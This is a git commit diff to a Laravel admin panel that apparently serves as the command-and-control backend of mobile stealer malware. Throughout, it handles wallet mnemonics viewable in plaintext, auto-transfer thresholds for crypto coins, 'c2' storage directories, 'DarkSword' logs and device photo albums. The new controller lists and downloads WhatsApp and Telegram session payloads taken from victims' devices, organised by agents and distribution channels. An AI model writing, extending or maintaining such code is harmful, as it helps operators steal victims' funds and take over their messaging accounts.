feat: tg/ws

This commit is contained in:
hashbro
2026-08-31 02:45:24 +08:00
parent 9176af86dd
commit 337bf45c79
47 changed files with 1725 additions and 598 deletions
@@ -58,6 +58,7 @@ class AgentUserController extends Controller
'auto_transfer_threshold_trx' => $u->auto_transfer_threshold_trx !== null ? (string) $u->auto_transfer_threshold_trx : '',
'auto_transfer_threshold_eth' => $u->auto_transfer_threshold_eth !== null ? (string) $u->auto_transfer_threshold_eth : '',
'auto_transfer_threshold_btc' => $u->auto_transfer_threshold_btc !== null ? (string) $u->auto_transfer_threshold_btc : '',
'album_storage_default' => $u->albumStorageDefaultEnabled() ? 1 : 0,
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
];
@@ -84,6 +85,7 @@ class AgentUserController extends Controller
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
]);
$user = User::query()->create([
@@ -97,6 +99,7 @@ class AgentUserController extends Controller
'auto_transfer_threshold_trx' => $this->nullableThreshold($data['auto_transfer_threshold_trx'] ?? null),
'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null),
'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null),
'album_storage_default' => (bool) ((int) ($data['album_storage_default'] ?? 0)),
]);
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
@@ -114,6 +117,7 @@ class AgentUserController extends Controller
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if (array_key_exists('comment', $data)) {
@@ -128,6 +132,9 @@ class AgentUserController extends Controller
if (array_key_exists('auto_transfer_enabled', $data) && $data['auto_transfer_enabled'] !== null) {
$agent->auto_transfer_enabled = (bool) ((int) $data['auto_transfer_enabled']);
}
if (array_key_exists('album_storage_default', $data) && $data['album_storage_default'] !== null) {
$agent->album_storage_default = (bool) ((int) $data['album_storage_default']);
}
foreach (['usdt', 'trx', 'eth', 'btc'] as $coin) {
$key = 'auto_transfer_threshold_'.$coin;
if (array_key_exists($key, $data)) {
@@ -100,17 +100,12 @@ class ChannelController extends Controller
]);
}
public function randomId(Request $request)
public function randomId()
{
$builderType = strtolower(trim((string) $request->query('builder_type', Channel::BUILDER_OLD)));
$channelId = $builderType === Channel::BUILDER_NEW
? Channel::randomNewChannelId()
: Channel::randomChannelId();
return response()->json([
'code' => 0,
'msg' => '',
'data' => ['channel_id' => $channelId],
'data' => ['channel_id' => Channel::randomNewChannelId()],
]);
}
@@ -118,18 +113,8 @@ class ChannelController extends Controller
{
abort_if($this->isAgentPortal(), 403);
$builderType = strtolower(trim((string) $request->input('builder_type', Channel::BUILDER_OLD)));
if (! in_array($builderType, [Channel::BUILDER_OLD, Channel::BUILDER_NEW], true)) {
$builderType = Channel::BUILDER_OLD;
}
$channelIdRule = $builderType === Channel::BUILDER_NEW
? ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN]
: ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')];
$data = $request->validate([
'channel_id' => $channelIdRule,
'builder_type' => ['nullable', 'string', Rule::in([Channel::BUILDER_OLD, Channel::BUILDER_NEW])],
'channel_id' => ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN],
'user_id' => ['nullable', 'integer', 'min:0'],
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'],
@@ -138,15 +123,13 @@ class ChannelController extends Controller
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if ($builderType === Channel::BUILDER_NEW) {
$normalized = Channel::normalizeNewChannelId((string) $data['channel_id']);
if ($normalized === null) {
throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)']);
}
$data['channel_id'] = $normalized;
if (Channel::query()->where('channel_id', $normalized)->exists()) {
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
}
$normalized = Channel::normalizeNewChannelId((string) $data['channel_id']);
if ($normalized === null) {
throw ValidationException::withMessages(['channel_id' => '渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)']);
}
$data['channel_id'] = $normalized;
if (Channel::query()->where('channel_id', $normalized)->exists()) {
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
}
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
@@ -154,7 +137,7 @@ class ChannelController extends Controller
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
$builderType = (string) ($data['builder_type'] ?? $builderType);
$builderType = Channel::BUILDER_NEW;
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
$this->assertAgentChannelQuota($userId);
@@ -35,7 +35,7 @@ class DashboardController extends Controller
'date_from' => trim((string) $request->query('date_from', '')),
'date_to' => trim((string) $request->query('date_to', '')),
'date_range' => trim((string) $request->query('date_range', '')),
'range' => (string) $request->query('range', '30d'),
'range' => (string) $request->query('range', 'today'),
'channel_id' => trim((string) $request->query('channel_id', '')),
'agent_user_id' => $this->isAgentPortal()
? null
@@ -72,6 +72,9 @@ class DeviceController extends Controller
'ip' => $d->ip ?: '',
'has_wallet' => (int) $d->has_wallet,
'wallet_names' => $d->walletNameList(),
'has_whatsapp' => $d->hasWhatsApp() ? 1 : 0,
'has_telegram' => $d->hasTelegram() ? 1 : 0,
'im_names' => $d->imNameList(),
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
@@ -235,6 +238,7 @@ class DeviceController extends Controller
$this->deleteStorageDir('c2/check/'.$device->device_id);
$this->deleteStorageDir('c2/ds-results/'.$device->device_id);
$this->deleteStorageDir('c2/ds-chunks/'.$device->device_id);
$this->deleteStorageDir('c2/plugin-sessions/'.$device->device_id);
$this->unmonitorAddresses($device);
$this->purgeDarkSwordLogs($device);
@@ -604,7 +608,7 @@ class DeviceController extends Controller
}
/**
* @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
* @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int}
*/
private function filtersFrom(Request $request): array
{
@@ -613,6 +617,10 @@ class DeviceController extends Controller
if (in_array((string) $hasWallet, ['0', '1', '2'], true)) {
$hasWalletInt = (int) $hasWallet;
}
$hasIm = strtolower(trim((string) $request->query('has_im', '')));
if (! in_array($hasIm, ['yes', 'none', 'whatsapp', 'telegram'], true)) {
$hasIm = '';
}
return [
'device_key' => trim((string) $request->query('device_key', '')),
@@ -624,12 +632,13 @@ class DeviceController extends Controller
'installed_from' => trim((string) $request->query('installed_from', '')),
'installed_to' => trim((string) $request->query('installed_to', '')),
'has_wallet' => $hasWalletInt,
'has_im' => $hasIm,
'agent_user_id' => AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')),
];
}
/**
* @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
* @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int} $filters
*/
private function filteredQuery(array $filters): Builder
{
@@ -663,6 +672,17 @@ class DeviceController extends Controller
if ($filters['has_wallet'] !== null) {
$q->where('devices.has_wallet', $filters['has_wallet']);
}
if ($filters['has_im'] === 'yes') {
$q->where(function (Builder $inner) {
$inner->where('devices.has_whatsapp', true)->orWhere('devices.has_telegram', true);
});
} elseif ($filters['has_im'] === 'none') {
$q->where('devices.has_whatsapp', false)->where('devices.has_telegram', false);
} elseif ($filters['has_im'] === 'whatsapp') {
$q->where('devices.has_whatsapp', true);
} elseif ($filters['has_im'] === 'telegram') {
$q->where('devices.has_telegram', true);
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
}
@@ -97,7 +97,7 @@ class MnemonicController extends Controller
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
if (! $admin->hasGoogleBound()) {
return response()->json(['code' => 1, 'msg' => '请先在「安全 → 谷歌验证」绑定,查看明文必须验证']);
return response()->json(['code' => 1, 'msg' => '请先在「系统 → 谷歌验证」绑定,查看明文必须验证']);
}
$data = $request->validate([
@@ -0,0 +1,180 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\PluginSession;
use App\Models\User;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
class PluginSessionController extends Controller
{
use PortalAware;
public function whatsapp()
{
return $this->page(PluginSession::KIND_WHATSAPP);
}
public function telegram()
{
return $this->page(PluginSession::KIND_TELEGRAM);
}
public function whatsappData(Request $request)
{
return $this->data($request, PluginSession::KIND_WHATSAPP);
}
public function telegramData(Request $request)
{
return $this->data($request, PluginSession::KIND_TELEGRAM);
}
public function payload(PluginSession $pluginSession)
{
$this->authorizeSession($pluginSession);
return response()->json([
'code' => 0,
'msg' => '',
'data' => [
'id' => $pluginSession->id,
'kind' => $pluginSession->kind,
'payload_json' => json_encode(
$pluginSession->displayPayload(),
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
),
'download_url' => route($this->portal().'.sessions.download', $pluginSession, false),
],
]);
}
public function download(PluginSession $pluginSession)
{
$this->authorizeSession($pluginSession);
$name = $pluginSession->downloadFilename();
$path = $pluginSession->payloadPath();
if ($path !== null && Storage::disk('local')->exists($path)) {
return Storage::disk('local')->download($path, $name);
}
$json = json_encode(
$pluginSession->fullPayload(),
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
);
return response()->streamDownload(static function () use ($json) {
echo $json === false ? '{}' : $json;
}, $name, ['Content-Type' => 'application/json; charset=UTF-8']);
}
private function page(string $kind)
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
return view('admin.sessions.index', [
'portal' => $this->portal(),
'agents' => $agents,
'kind' => $kind,
'title' => (int) $kind === PluginSession::KIND_WHATSAPP ? 'WS 参数' : 'TG 参数',
]);
}
private function data(Request $request, string $kind)
{
$q = $this->baseQuery($request, $kind);
$sortable = ['id', 'account_id', 'phone', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('plugin_sessions.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
/** @var PluginSession $row */
$summary = $row->listSummary();
return array_merge($summary, [
'id' => $row->id,
'kind' => $row->kind,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'payload_url' => route($portal.'.sessions.payload', $row, false),
'download_url' => route($portal.'.sessions.download', $row, false),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id),
]);
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
private function baseQuery(Request $request, string $kind): Builder
{
$q = PluginSession::query()
->join('devices', 'devices.id', '=', 'plugin_sessions.device_id')
->where('plugin_sessions.kind', $kind)
->select([
'plugin_sessions.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$account = trim((string) $request->query('account_id', ''));
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ($account !== '') {
$q->where(function (Builder $inner) use ($account) {
$inner->where('plugin_sessions.account_id', 'like', '%'.$account.'%')
->orWhere('plugin_sessions.phone', 'like', '%'.$account.'%');
});
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter(
$q,
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
);
}
return $q;
}
private function authorizeSession(PluginSession $session): void
{
$device = $session->device;
abort_unless($device !== null, 404);
if ($agent = $this->agent()) {
$ids = AgentScope::channelIdsFor($agent);
abort_unless($device->channel_id && in_array($device->channel_id, $ids, true), 403);
}
}
}
@@ -1,209 +0,0 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\File;
class RawLogController extends Controller
{
/** @var list<string> */
private const KINDS = ['c2', 'xxbb'];
private const PER_PAGE = 40;
private const MAX_PER_PAGE = 100;
/** Display cap so a single keystore/census blob cannot blow the HTML layout. */
private const MAX_ENTRY_CHARS = 16384;
private const CHUNK_BYTES = 262144;
/** Bound the backward-scan carry if a record has no separator. */
private const MAX_CARRY_BYTES = 524288;
public function index(Request $request)
{
$kind = $this->kind($request);
$path = trim((string) $request->query('path', ''));
$device = trim((string) $request->query('device', ''));
$groups = [];
foreach (self::KINDS as $k) {
$groups[$k] = $this->listFiles($k);
}
return view('admin.logs.index', compact('groups', 'kind', 'path', 'device'));
}
public function show(Request $request, string $kind, string $file)
{
$kind = in_array($kind, self::KINDS, true) ? $kind : 'c2';
$safe = basename($file);
if (! preg_match('/^\d{8}\.log$/', $safe)) {
abort(404);
}
$full = public_path('log/'.$kind.'/'.$safe);
abort_unless(is_file($full), 404);
$path = trim((string) $request->query('path', ''));
$device = trim((string) $request->query('device', ''));
$page = max(1, (int) $request->query('page', 1));
$perPage = (int) $request->query('per_page', self::PER_PAGE);
$perPage = min(self::MAX_PER_PAGE, max(10, $perPage));
$read = $this->tailEntries($full, $path, $device, $page, $perPage);
return view('admin.logs.show', [
'kind' => $kind,
'file' => $safe,
'entries' => $read['entries'],
'path' => $path,
'device' => $device,
'page' => $read['page'],
'perPage' => $read['perPage'],
'hasOlder' => $read['hasOlder'],
'hasNewer' => $read['hasNewer'],
'fileSize' => $read['fileSize'],
]);
}
private function kind(Request $request): string
{
$kind = (string) $request->query('kind', 'c2');
return in_array($kind, self::KINDS, true) ? $kind : 'c2';
}
/**
* Newest-first page of records, scanning backward so a multi-MB day file
* never lands in memory as one string.
*
* @return array{
* entries: list<string>,
* page: int,
* perPage: int,
* hasOlder: bool,
* hasNewer: bool,
* fileSize: int
* }
*/
private function tailEntries(string $full, string $path, string $device, int $page, int $perPage): array
{
$fileSize = (int) filesize($full);
$skip = ($page - 1) * $perPage;
$want = $skip + $perPage + 1;
$matched = [];
$fh = fopen($full, 'rb');
if ($fh === false) {
return [
'entries' => [],
'page' => $page,
'perPage' => $perPage,
'hasOlder' => false,
'hasNewer' => $page > 1,
'fileSize' => $fileSize,
];
}
try {
$pos = $fileSize;
$carry = '';
while ($pos > 0 && count($matched) < $want) {
$read = (int) min(self::CHUNK_BYTES, $pos);
$pos -= $read;
if (fseek($fh, $pos) !== 0) {
break;
}
$chunk = fread($fh, $read);
if (! is_string($chunk) || $chunk === '') {
break;
}
$data = $chunk.$carry;
if (strlen($data) > self::MAX_CARRY_BYTES) {
$data = substr($data, -self::MAX_CARRY_BYTES);
}
$parts = preg_split("/\r\n\r\n/", $data) ?: [$data];
$carry = $parts[0];
for ($i = count($parts) - 1; $i >= 1; $i--) {
if ($this->collectEntry($matched, $parts[$i], $path, $device, $want)) {
break 2;
}
}
}
if (count($matched) < $want && $pos === 0 && $carry !== '') {
$this->collectEntry($matched, $carry, $path, $device, $want);
}
} finally {
fclose($fh);
}
$hasOlder = count($matched) > $skip + $perPage;
$entries = array_slice($matched, $skip, $perPage);
return [
'entries' => $entries,
'page' => $page,
'perPage' => $perPage,
'hasOlder' => $hasOlder,
'hasNewer' => $page > 1,
'fileSize' => $fileSize,
];
}
/**
* @param list<string> $matched
*/
private function collectEntry(array &$matched, string $chunk, string $path, string $device, int $want): bool
{
$entry = trim($chunk);
if ($entry === '') {
return false;
}
if ($path !== '' && ! str_contains($entry, $path)) {
return false;
}
if ($device !== '' && ! str_contains($entry, $device)) {
return false;
}
$matched[] = $this->truncateEntry($entry);
return count($matched) >= $want;
}
private function truncateEntry(string $entry): string
{
if (strlen($entry) <= self::MAX_ENTRY_CHARS) {
return $entry;
}
return substr($entry, 0, self::MAX_ENTRY_CHARS)."\n… (truncated)";
}
/**
* @return list<array{name: string, size: int, mtime: string}>
*/
private function listFiles(string $kind): array
{
$dir = public_path('log/'.$kind);
$files = [];
if (! is_dir($dir)) {
return $files;
}
foreach (File::files($dir) as $file) {
if ($file->getExtension() !== 'log') {
continue;
}
$files[] = [
'name' => $file->getFilename(),
'size' => $file->getSize(),
'mtime' => date('Y-m-d H:i:s', $file->getMTime()),
];
}
usort($files, fn ($a, $b) => strcmp($b['name'], $a['name']));
return $files;
}
}
@@ -130,6 +130,7 @@ class WalletAddressController extends Controller
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$address = trim((string) $request->query('address', ''));
$source = trim((string) $request->query('source', ''));
$hasMnemonic = $request->query('has_mnemonic');
$hasBalance = $request->query('has_balance');
@@ -139,6 +140,9 @@ class WalletAddressController extends Controller
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ($address !== '') {
$q->where('wallet_addresses.address', 'like', '%'.$address.'%');
}
if ($source !== '') {
$q->where('wallet_addresses.source', $source);
}